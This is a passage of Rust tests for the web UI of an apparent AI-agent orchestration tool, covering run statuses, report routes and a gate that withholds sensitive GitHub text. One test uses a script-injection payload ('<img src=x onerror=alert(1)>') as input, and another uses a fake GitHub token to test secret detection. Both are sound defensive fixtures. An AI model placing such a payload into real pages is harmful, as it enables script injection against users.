17757 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17758 assert_eq!(detail["live"], "dead", "{detail}");
17759 }
17760
17761 #[test]
17765 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
17766 let mk = |id: &str, pid: Option<u32>| {
17767 let mut s = RunState::new(
17768 PathBuf::from("/repo/magi"),
17769 "main".to_owned(),
17770 "0123456789abcdef".to_owned(),
17771 "Add a web UI".to_owned(),
17772 Config::default(),
17773 );
17774 s.id = id.to_owned();
17775 s.driver_pid = pid;
17776 s.driver_started_at = Some("1790000000".to_owned());
17777 s
17778 };
17779 let states = vec![
17780 mk("20260902-140502-aaaa", Some(77)),
17781 mk("20260902-140502-bbbb", Some(77)),
17782 mk("20260902-140502-cccc", Some(77)),
17783 mk("20260902-140502-dddd", None),
17784 ];
17785 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
17786 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
17787 let sup: HashMap<String, String> = [(
17788 "20260902-140502-aaaa".to_owned(),
17789 "20260902-140502-cccc".to_owned(),
17790 )]
17791 .into();
17792
17793 let status_calls = std::cell::Cell::new(0);
17794 let identity_calls = std::cell::Cell::new(0);
17795 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
17796 |_| {
17797 status_calls.set(status_calls.get() + 1);
17798 Some(true)
17799 },
17800 |_| {
17801 identity_calls.set(identity_calls.get() + 1);
17802 Some("1790000000".to_owned())
17803 },
17804 ));
17805 let rows = summarize(
17806 states,
17807 &open,
17808 &claimed,
17809 &sup,
17810 |p| probe.borrow_mut().status(p),
17811 |p| probe.borrow_mut().started_at(p),
17812 );
17813
17814 assert_eq!(status_calls.get(), 1, "one pid, one status query");
17815 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
17816 assert_eq!(rows.len(), 4);
17817 assert!(!rows[0].waiting && rows[1].waiting);
17818 assert_eq!(rows[0].live, crate::run::Liveness::Live);
17819 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
17820 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
17821 assert_eq!(rows[1].superseded_by, None);
17822 }
17823
17824 #[test]
17825 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
17826 let mut state = RunState::new(
17827 PathBuf::from("/repo/magi"),
17828 "main".to_owned(),
17829 "0123456789abcdef".to_owned(),
17830 "Review only".to_owned(),
17831 Config::default(),
17832 );
17833 state.id = "20260922-090200-dead".to_owned();
17834 state.status = RunStatus::Reviewing;
17835 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
17836 .expect("serialize list row");
17837 assert_eq!(row["status"], "reviewing");
17838 assert_eq!(row["display_status"], "stale");
17839 assert_eq!(row["live"], "dead", "{row}");
17840 assert!(!row["done"].as_bool().unwrap());
17841 }
17842
17843 #[test]
17844 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
17845 use crate::run::Liveness::{Dead, Live, Unknown};
17846 let mut state = RunState::new(
17847 PathBuf::from("/repo/magi"),
17848 "main".to_owned(),
17849 "abc".to_owned(),
17850 "Review only".to_owned(),
17851 Config::default(),
17852 );
17853 for (status, parked, node, waiting, live, expected) in [
17854 (
17855 RunStatus::Judging,
17856 true,
17857 "github-text",
17858 false,
17859 Dead,
17860 "parked",
17861 ),
17862 (RunStatus::Judging, false, "park", false, Dead, "stale"),
17863 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
17864 (
17865 RunStatus::Judging,
17866 true,
17867 "github-text",
17868 true,
17869 Dead,
17870 "waiting",
17871 ),
17872 (
17873 RunStatus::Judging,
17874 false,
17875 "github-text",
17876 true,
17877 Dead,
17878 "waiting",
17879 ),
17880 (
17881 RunStatus::Judging,
17882 false,
17883 "github-text",
17884 false,
17885 Dead,
17886 "stale",
17887 ),
17888 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
17889 (RunStatus::Judging, true, "park", false, Live, "judging"),
17890 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
17891 (RunStatus::Merged, true, "park", false, Dead, "merged"),
17892 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
17893 (
17894 RunStatus::Blocked,
17895 true,
17896 "github-text",
17897 true,
17898 Dead,
17899 "waiting",
17900 ),
17901 ] {
17902 state.status = status;
17903 state.parked = parked;
17904 state.events.clear();
17905 state.event(
17906 "park",
17907 "an earlier park does not determine the latest state",
17908 );
17909 state.event(node, "message is not used for classification");
17910 let summary = RunSummary::of(&state, waiting, live);
17911 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
17912 assert_eq!(
17913 summary.display_status, expected,
17914 "{status:?}/{node}/{live:?}"
17915 );
17916 assert_eq!(detail.display_status, summary.display_status);
17917 assert_eq!(detail.waiting, summary.waiting);
17918 }
17919 state.status = RunStatus::Judging;
17920 state.parked = false;
17921 state.events.clear();
17922 assert_eq!(run_display_status(&state, false, Dead), "stale");
17923 }
17924
17925 #[test]
17926 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
17927 use crate::run::Liveness::{Dead, Live, Unknown};
17928 let mut state = RunState::new(
17929 PathBuf::from("/repo/magi"),
17930 "main".to_owned(),
17931 "abc".to_owned(),
17932 "Badge".to_owned(),
17933 Config::default(),
17934 );
17935 for (status, waiting, live, superseded, expected) in [
17936 (RunStatus::Gating, false, Dead, false, "stale"),
17937 (RunStatus::Gating, false, Dead, true, "superseded"),
17938 (RunStatus::Gating, false, Unknown, true, "superseded"),
17939 (RunStatus::Gating, true, Dead, true, "superseded"),
17940 (RunStatus::Gating, true, Dead, false, "waiting"),
17941 (RunStatus::Gating, false, Unknown, false, "gating"),
17942 (RunStatus::Gating, false, Live, true, "gating"),
17943 (RunStatus::Gating, true, Live, true, "waiting"),
17944 (RunStatus::Merged, false, Dead, true, "merged"),
17945 (RunStatus::Blocked, false, Dead, true, "blocked"),
17946 ] {
17947 state.status = status;
17948 let display = run_display_status(&state, waiting, live);
17949 assert_eq!(
17950 run_badge_status(&state, &display, live, superseded),
17951 expected,
17952 "{status:?}/{live:?}/superseded={superseded}"
17953 );
17954 }
17955 }
17956
17957 #[test]
17958 fn summarize_and_detail_expose_badge_status() {
17959 use crate::run::Liveness::Dead;
17960 let mut state = RunState::new(
17961 PathBuf::from("/repo/magi"),
17962 "main".to_owned(),
17963 "abc".to_owned(),
17964 "Badge".to_owned(),
17965 Config::default(),
17966 );
17967 state.status = RunStatus::Gating;
17968 let none = HashSet::new();
17969 let id = state.id.clone();
17970 let mut by = HashMap::new();
17971 let rows = summarize(
17972 [state.clone()],
17973 &none,
17974 &none,
17975 &by,
17976 |_| Some(false),
17977 |_| None,
17978 );
17979 assert_eq!(rows[0].badge_status, rows[0].display_status);
17981 by.insert(id, "20260901-000000-913b".to_owned());
17982 let detail = RunDetailView::of(
17983 state.clone(),
17984 false,
17985 Dead,
17986 Some("913b".to_owned()),
17987 None,
17988 None,
17989 );
17990 assert_eq!(detail.badge_status, "superseded");
17991 let json = serde_json::to_value(&detail).unwrap();
17992 assert_eq!(json["badge_status"], "superseded");
17993 let detail = RunDetailView::of(state, false, Dead, None, None, None);
17994 assert_eq!(detail.badge_status, "stale");
17995 }
17996
17997 #[tokio::test]
17998 async fn run_display_status_routes_share_the_open_question_store() {
17999 let f = Fixture::start().await;
18000 let id = "20260922-090200-abcd";
18001 write_run(&f.runs(), id, RunStatus::Judging);
18002 let mut state = read_run(&f.runs(), id).unwrap();
18003 state.parked = true;
18004 state.driver_exited = true;
18005 state.event("github-text", "waiting for the owner");
18006 state.save_under(f.home.path()).unwrap();
18007 let mut task = Task::new(
18008 "resumed task".to_owned(),
18009 "do it".to_owned(),
18010 PathBuf::from("/repo"),
18011 Source::Human,
18012 );
18013 task.runs = vec![id.to_owned(), id.to_owned()];
18014 f.queue().put(&mut task).unwrap();
18015 let store = f.questions();
18016 let mut q = Question::new(
18017 id.to_owned(),
18018 "github-text".to_owned(),
18019 "owner".to_owned(),
18020 "Approve the text?".to_owned(),
18021 String::new(),
18022 Vec::new(),
18023 );
18024 store.put(&mut q).unwrap();
18025 for expected in ["waiting", "parked"] {
18026 let list = f.get("/api/runs").await.json();
18027 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18028 assert_eq!(list[0]["display_status"], expected);
18029 assert_eq!(detail["display_status"], expected);
18030 assert_eq!(detail["waiting"], list[0]["waiting"]);
18031 assert_eq!(list[0]["badge_status"], expected);
18032 assert_eq!(detail["badge_status"], expected);
18033 assert!(list[0]["superseded_by"].is_null());
18034 assert!(detail["superseded_by"].is_null());
18035 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
18036 let history = task_detail["history"].as_array().unwrap();
18037 assert_eq!(history.len(), 2);
18038 assert!(history[0]["badge"].is_null());
18039 assert_eq!(history[1]["badge"], expected);
18040 q.status = ask::QuestionStatus::Answered;
18041 store.put(&mut q).unwrap();
18042 }
18043 }
18044
18045 #[tokio::test]
18046 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
18047 let f = Fixture::start().await;
18048 let id = "20260922-090200-abcd";
18049 write_run(&f.runs(), id, RunStatus::Judging);
18050 let mut state = read_run(&f.runs(), id).unwrap();
18051 state.parked = true;
18052 state.driver_exited = true;
18053 state.event("park", "stopped at a node boundary");
18054 state.save_under(f.home.path()).unwrap();
18055
18056 for expected in ["parked", "stale"] {
18057 let list = f.get("/api/runs").await.json();
18058 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18059 assert_eq!(list[0]["live"], "dead");
18060 assert_eq!(list[0]["display_status"], expected);
18061 assert_eq!(detail["display_status"], expected);
18062 state.parked = false;
18065 state.save_under(f.home.path()).unwrap();
18066 }
18067 }
18068
18069 #[tokio::test]
18070 async fn the_run_list_is_newest_first_and_honours_a_limit() {
18071 let f = Fixture::start().await;
18072 for id in [
18073 "20260902-140501-aaaa",
18074 "20260902-140502-bbbb",
18075 "20260902-140503-cccc",
18076 ] {
18077 write_run(&f.runs(), id, RunStatus::Merged);
18078 }
18079
18080 let all = f.get("/api/runs").await.json();
18081 let capped = f.get("/api/runs?limit=2").await.json();
18082
18083 assert_eq!(all[0]["id"], "20260902-140503-cccc");
18084 assert_eq!(all.as_array().map(Vec::len), Some(3));
18085 assert_eq!(capped.as_array().map(Vec::len), Some(2));
18086 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18087 }
18088
18089 #[tokio::test]
18090 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18091 let f = Fixture::start().await;
18092 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18093
18094 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18095
18096 assert_eq!(res.status, 200);
18097 assert!(
18098 res.headers
18099 .contains("content-type: text/plain; charset=utf-8"),
18100 "a browser must render it, not download it: {}",
18101 res.headers
18102 );
18103 assert!(
18107 res.body.contains("20260902-140501-a1b2"),
18108 "the report is about the run that was asked for: {}",
18109 res.body
18110 );
18111 }
18112
18113 #[tokio::test]
18114 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18115 crate::run::pin_test_home();
18117 let f = Fixture::start().await;
18118 let id = "20260902-140501-a1b2";
18119 write_run(&f.runs(), id, RunStatus::Stalled);
18120 let path = f.runs().join(id).join("run.json");
18123 let mut v: serde_json::Value =
18124 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18125 v["tally"] = serde_json::json!({
18126 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18127 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18128 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18129 "met_quorum": false, "rankings": 1
18130 });
18131 v["reviews"] = serde_json::json!([{
18132 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18133 "e2e_deferred": true,
18134 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18135 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18136 ]}]
18137 }]);
18138 std::fs::write(&path, v.to_string()).unwrap();
18139 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18140 std::fs::write(
18141 f.runs().join("20260902-140502-dead").join("run.json"),
18142 "{not json",
18143 )
18144 .unwrap();
18145
18146 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18147
18148 assert_eq!(res.status, 200, "{}", res.body);
18149 assert!(res.headers.contains("content-type: application/json"));
18150 let j = res.json();
18151 assert_eq!(j["schema"], 1);
18152 assert_eq!(j["header"]["id"], id);
18153 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
18154 let kinds: Vec<&str> = j["sections"]
18155 .as_array()
18156 .unwrap()
18157 .iter()
18158 .map(|s| s["kind"].as_str().unwrap())
18159 .collect();
18160 assert_eq!(kinds, ["candidates", "tally", "review"]);
18161 let tally = &j["sections"][1]["tally"];
18162 assert_eq!(
18163 (tally["decided"].clone(), tally["provisional"].clone()),
18164 (false.into(), true.into())
18165 );
18166 let round = &j["sections"][2]["rounds"][0];
18167 assert_eq!(round["e2e"]["state"], "deferred");
18168 assert_eq!(round["findings"][0]["severity"], "major");
18169 assert_eq!(round["findings"][0]["blocking"], true);
18170 assert_eq!(round["findings"][0]["state"], "open");
18171
18172 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
18174
18175 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
18177 assert_ne!(bad.status, 200, "{}", bad.body);
18178 assert_eq!(
18179 bad.status,
18180 f.get("/api/runs/20260902-140502-dead/report").await.status
18181 );
18182 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
18183 assert_eq!(
18184 f.get("/api/runs/20260902-999999-ffff/report.json")
18185 .await
18186 .status,
18187 404
18188 );
18189 }
18190
18191 #[tokio::test]
18192 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
18193 crate::run::pin_test_home();
18194 let f = Fixture::start().await;
18195 let id = "20260902-140503-delib";
18196 write_run(&f.runs(), id, RunStatus::Merged);
18197 let path = f.runs().join(id).join("run.json");
18198 let mut v: serde_json::Value =
18199 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18200 v["judgements"] = serde_json::json!([
18201 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
18202 ]);
18203 v["tally"] = serde_json::json!({
18204 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18205 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
18206 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
18207 "met_quorum": true, "rankings": 1
18208 });
18209 v["deliberation"] = serde_json::json!([
18210 {
18211 "round": 1,
18212 "turns": [
18213 {
18214 "judge": 1,
18215 "agent": "judge-1",
18216 "body": "I prefer candidate **A** because it has cleaner tests.",
18217 "tentative": "A"
18218 }
18219 ]
18220 },
18221 {
18222 "round": 2,
18223 "turns": [
18224 {
18225 "judge": 1,
18226 "agent": "judge-1",
18227 "body": "Still thinking, no choice yet.",
18228 "tentative": null
18229 }
18230 ]
18231 }
18232 ]);
18233 std::fs::write(&path, v.to_string()).unwrap();
18234
18235 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18236 assert_eq!(res.status, 200, "{}", res.body);
18237 let j = res.json();
18238 let judging = j["sections"]
18239 .as_array()
18240 .unwrap()
18241 .iter()
18242 .find(|s| s["kind"] == "judging")
18243 .expect("judging section exists");
18244
18245 let delib_lines = judging["deliberation"].as_array().unwrap();
18247 assert_eq!(delib_lines.len(), 2);
18248 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
18249 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
18250
18251 let rounds = judging["rounds"].as_array().unwrap();
18253 assert_eq!(rounds.len(), 2);
18254 let r1_t0 = &rounds[0]["turns"][0];
18255 assert_eq!(r1_t0["judge"], 1);
18256 assert_eq!(r1_t0["agent"], "judge-1");
18257 assert_eq!(r1_t0["tentative"], "A");
18258 assert_eq!(
18259 r1_t0["body"],
18260 "I prefer candidate **A** because it has cleaner tests."
18261 );
18262 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
18263
18264 let r2_t0 = &rounds[1]["turns"][0];
18265 assert_eq!(r2_t0["judge"], 1);
18266 assert_eq!(r2_t0["agent"], "judge-1");
18267 assert!(r2_t0["tentative"].is_null());
18268 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
18269 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
18270
18271 let id_empty = "20260902-140504-nodelib";
18273 write_run(&f.runs(), id_empty, RunStatus::Merged);
18274 let path_empty = f.runs().join(id_empty).join("run.json");
18275 let mut v_empty: serde_json::Value =
18276 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
18277 v_empty["judgements"] = serde_json::json!([
18278 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
18279 ]);
18280 v_empty["deliberation"] = serde_json::json!([]);
18281 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
18282
18283 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
18284 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
18285 let j_empty = res_empty.json();
18286 let judging_empty = j_empty["sections"]
18287 .as_array()
18288 .unwrap()
18289 .iter()
18290 .find(|s| s["kind"] == "judging")
18291 .expect("judging section exists");
18292 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
18293 }
18294
18295 #[tokio::test]
18296 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
18297 let f = Fixture::start().await;
18298
18299 let html = f.get("/").await;
18300 let css = f.get("/app.css").await;
18301 let js = f.get("/app.js").await;
18302
18303 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
18304 assert!(
18305 html.headers
18306 .contains("content-type: text/html; charset=utf-8")
18307 );
18308 assert!(css.headers.contains("content-type: text/css"));
18309 assert!(js.headers.contains("content-type: text/javascript"));
18310 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
18311 }
18312
18313 #[test]
18314 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
18315 let body = |name: &str| {
18316 let at = APP_JS
18317 .find(name)
18318 .unwrap_or_else(|| panic!("{name} missing"));
18319 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
18320 };
18321 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
18322 let note = body("function landRoundNote");
18323 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
18324 assert!(note.contains("Land round ${round}"));
18325 let land = body("function renderLand");
18326 let note_at = land
18327 .find("landRoundNote(pr)")
18328 .expect("renderLand uses the note");
18329 assert!(
18330 note_at
18331 < land
18332 .find("roundRail(pr)")
18333 .expect("renderLand uses the rail")
18334 );
18335 }
18336
18337 #[test]
18338 fn the_runs_page_redesign_keeps_its_guards() {
18339 let body = |name: &str| {
18340 let at = APP_JS
18341 .find(name)
18342 .unwrap_or_else(|| panic!("{name} missing"));
18343 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
18344 };
18345 let land = body("function renderLand");
18347 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
18348 assert!(
18349 !land.contains("box.append("),
18350 "renderLand must use append()"
18351 );
18352 assert!(land.contains("append(box, ["));
18353 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
18355 assert!(
18356 body("function applyRoute")
18357 .contains("route.name !== state.route.name || route.id !== state.route.id")
18358 );
18359 assert!(!APP_JS.contains("adviseConvergeDiagram"));
18361 assert!(!INDEX_HTML.contains("advise-converge"));
18362 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
18363 assert!(APP_JS.contains("provisional"));
18364 for id in [
18365 "run-tab-overview",
18366 "run-tab-timeline",
18367 "run-tab-report",
18368 "run-report",
18369 "runs-scope",
18370 ] {
18371 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
18372 }
18373 assert!(!INDEX_HTML.contains("runs-tree"));
18374 assert!(!INDEX_HTML.contains("run-raw-panel"));
18375 assert!(APP_JS.contains("resume"));
18377 assert!(APP_JS.contains("unreadable"));
18379 }
18380
18381 #[test]
18382 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
18383 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
18384 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
18385 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
18386 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
18387 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
18388 assert!(APP_JS.contains("unreadable` : null"));
18390 }
18391
18392 #[test]
18393 fn blocked_run_detail_exposes_the_failed_gate_reason() {
18394 let mut state = RunState::new(
18395 "/repo".into(),
18396 "main".into(),
18397 "abc".into(),
18398 "task".into(),
18399 crate::config::Config::default(),
18400 );
18401 state.status = RunStatus::Blocked;
18402 state.gate_ran = true;
18403 state.gate.push(crate::run::CommandOutcome {
18404 command: "cargo make check".into(),
18405 code: Some(1),
18406 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
18407 duration_ms: 0,
18408 resource_blocked: false,
18409 });
18410 let view = RunDetailView::of(
18411 state,
18412 false,
18413 crate::run::Liveness::Unknown,
18414 None,
18415 None,
18416 None,
18417 );
18418 let value = serde_json::to_value(view).unwrap();
18419 assert_eq!(
18420 value["stop_reason"],
18421 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
18422 );
18423 }
18424
18425 #[test]
18426 fn the_run_detail_payload_says_whether_the_run_is_done() {
18427 for (status, done) in [
18429 (RunStatus::Superseded, true),
18430 (RunStatus::Blocked, true),
18431 (RunStatus::Landing, false),
18432 ] {
18433 let mut state = RunState::new(
18434 std::path::PathBuf::from("/repo"),
18435 "main".to_owned(),
18436 "abc".to_owned(),
18437 "x".to_owned(),
18438 crate::config::Config::default(),
18439 );
18440 state.status = status;
18441 let v = serde_json::to_value(RunDetailView::of(
18442 state,
18443 false,
18444 crate::run::Liveness::Unknown,
18445 None,
18446 None,
18447 None,
18448 ))
18449 .unwrap();
18450 assert_eq!(v["done"], done, "{status:?}");
18451 }
18452 }
18453
18454 fn has_strong(nodes: &[md::Node]) -> bool {
18456 serde_json::to_string(nodes).unwrap().contains("strong")
18457 }
18458
18459 #[test]
18460 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
18461 let mut state = RunState::new(
18462 std::path::PathBuf::from("/repo"),
18463 "main".to_owned(),
18464 "abc".to_owned(),
18465 "x".to_owned(),
18466 crate::config::Config::default(),
18467 );
18468 let proposal = |approach: &str| {
18469 serde_json::json!({
18470 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
18471 })
18472 };
18473 state.advice = Some(
18474 serde_json::from_value(serde_json::json!({
18475 "records": [
18476 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
18477 "proposal": proposal("do **this**")},
18478 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
18479 ],
18480 "synthesis": "- one\n- **two**\n\n`code`",
18481 }))
18482 .unwrap(),
18483 );
18484 state.candidates = serde_json::from_value(serde_json::json!([
18485 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
18486 "summary": "did **it**"},
18487 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
18488 ]))
18489 .unwrap();
18490 state.reviews = serde_json::from_value(serde_json::json!([{
18493 "round": 1, "head": "h",
18494 "reviews": [{
18495 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
18496 "findings": [
18497 {"severity": "nit", "title": "t1", "detail": "plain nit"},
18498 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
18499 ],
18500 }],
18501 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
18502 "fix": {"agent": "a", "notes": "fixed **it**",
18503 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
18504 }, {"round": 2, "head": "h2", "reviews": []}]))
18505 .unwrap();
18506
18507 let v = serde_json::to_value(RunDetailView::of(
18508 state,
18509 false,
18510 crate::run::Liveness::Unknown,
18511 None,
18512 None,
18513 None,
18514 ))
18515 .unwrap();
18516
18517 let strong = |p: &str| {
18518 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
18519 assert!(n.to_string().contains("strong"), "{p}: {n}");
18520 };
18521 strong("/advice_md/synthesis");
18522 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
18523 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
18524 strong("/advice_md/approaches/0");
18525 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
18526 strong("/candidate_summaries_md/0");
18527 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
18528 strong("/reviews_md/0/reviewers/0/summary");
18529 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
18530 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
18531 assert!(f[1].to_string().contains("strong"));
18532 strong("/reviews_md/0/reconsideration/0");
18533 strong("/reviews_md/0/fix/notes");
18534 strong("/reviews_md/0/fix/rejected/0");
18535 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
18536 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
18537 assert_eq!(v["candidates"][0]["summary"], "did **it**");
18539 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
18540 }
18541
18542 #[test]
18543 fn a_run_without_advice_has_no_advice_md() {
18544 let state = RunState::new(
18545 std::path::PathBuf::from("/repo"),
18546 "main".to_owned(),
18547 "abc".to_owned(),
18548 "x".to_owned(),
18549 crate::config::Config::default(),
18550 );
18551 let p = run_prose_md(&state);
18552 assert!(p.advice_md.is_none());
18553 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
18554 }
18555
18556 #[test]
18557 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
18558 let store = ask::Questions::at(PathBuf::from("unused"));
18559 let gt = crate::github_text::Withheld {
18560 title: false,
18561 body: true,
18562 categories: vec!["sensitive-data".into()],
18563 };
18564 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
18565 let (detail, comparison) =
18566 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
18567 let mut q = Question::new(
18568 "r".into(),
18569 "github-text".into(),
18570 "posting-gate".into(),
18571 "s".into(),
18572 detail,
18573 Vec::new(),
18574 );
18575 assert!(
18576 QuestionView::of(q.clone(), &store, None)
18577 .posting_view
18578 .is_none()
18579 );
18580 q.posting_comparison = Some(comparison);
18581 let view = QuestionView::of(q.clone(), &store, None);
18582 let field = &view.posting_view.unwrap().fields[0];
18583 assert_eq!(
18584 field
18585 .original
18586 .iter()
18587 .map(|f| f.text.as_str())
18588 .collect::<String>(),
18589 body
18590 );
18591 assert!(field.original[0].text.starts_with("<img"));
18592 let original_question: Question =
18593 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
18594 assert_eq!(original_question, q);
18595 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
18596 .original
18597 .start = 1;
18598 assert!(
18599 QuestionView::of(q.clone(), &store, None)
18600 .posting_view
18601 .is_none()
18602 );
18603 q.posting_comparison = original_question.posting_comparison;
18604 q.detail.push_str("extra context");
18605 assert!(
18606 QuestionView::of(q.clone(), &store, None)
18607 .posting_view
18608 .is_some()
18609 );
18610 q.detail.insert(0, 'x');
18611 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
18612 }
18613
18614 #[test]
18615 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
18616 let store = ask::Questions::at(PathBuf::from("unused"));
18617 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
18618 let gt = crate::github_text::Withheld::from_check(
18619 &crate::github_text::check("fix: x", body),
18620 "fix: x",
18621 body,
18622 )
18623 .unwrap();
18624 let (detail, comparison) =
18625 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
18626 let mut q = Question::new(
18627 "r".into(),
18628 "github-text".into(),
18629 "posting-gate".into(),
18630 "s".into(),
18631 detail,
18632 Vec::new(),
18633 );
18634 q.posting_comparison = Some(comparison);
18635 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
18636 let field = &value["posting_view"]["fields"][0];
18637 let group = &field["replacement_group"];
18638 let triggers = group["triggers"].as_array().unwrap();
18639 assert_eq!(triggers.len(), 2);
18640 assert_ne!(triggers[0], triggers[1]);
18641 for id in triggers {
18642 assert!(
18643 field["original"]
18644 .as_array()
18645 .unwrap()
18646 .iter()
18647 .any(|f| &f["pair"] == id)
18648 );
18649 assert!(
18650 !field["changed"]
18651 .as_array()
18652 .unwrap()
18653 .iter()
18654 .any(|f| &f["pair"] == id)
18655 );
18656 }
18657 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
18658 group["id"].as_u64().unwrap() as usize;
18659 assert!(
18660 QuestionView::of(q, &store, None).posting_view.is_none(),
18661 "group and trigger IDs cannot collide"
18662 );
18663 }
18664
18665 #[test]
18666 fn a_question_view_carries_markdown_for_each_thread_turn() {
18667 let home = TempDir::new().unwrap();
18668 let store = ask::Questions::at(home.path().join("questions"));
18669 let mut q = Question::new(
18670 "run".to_owned(),
18671 "implement".to_owned(),
18672 "impl-A".to_owned(),
18673 "which?".to_owned(),
18674 String::new(),
18675 Vec::new(),
18676 );
18677 q.say("plain words").unwrap();
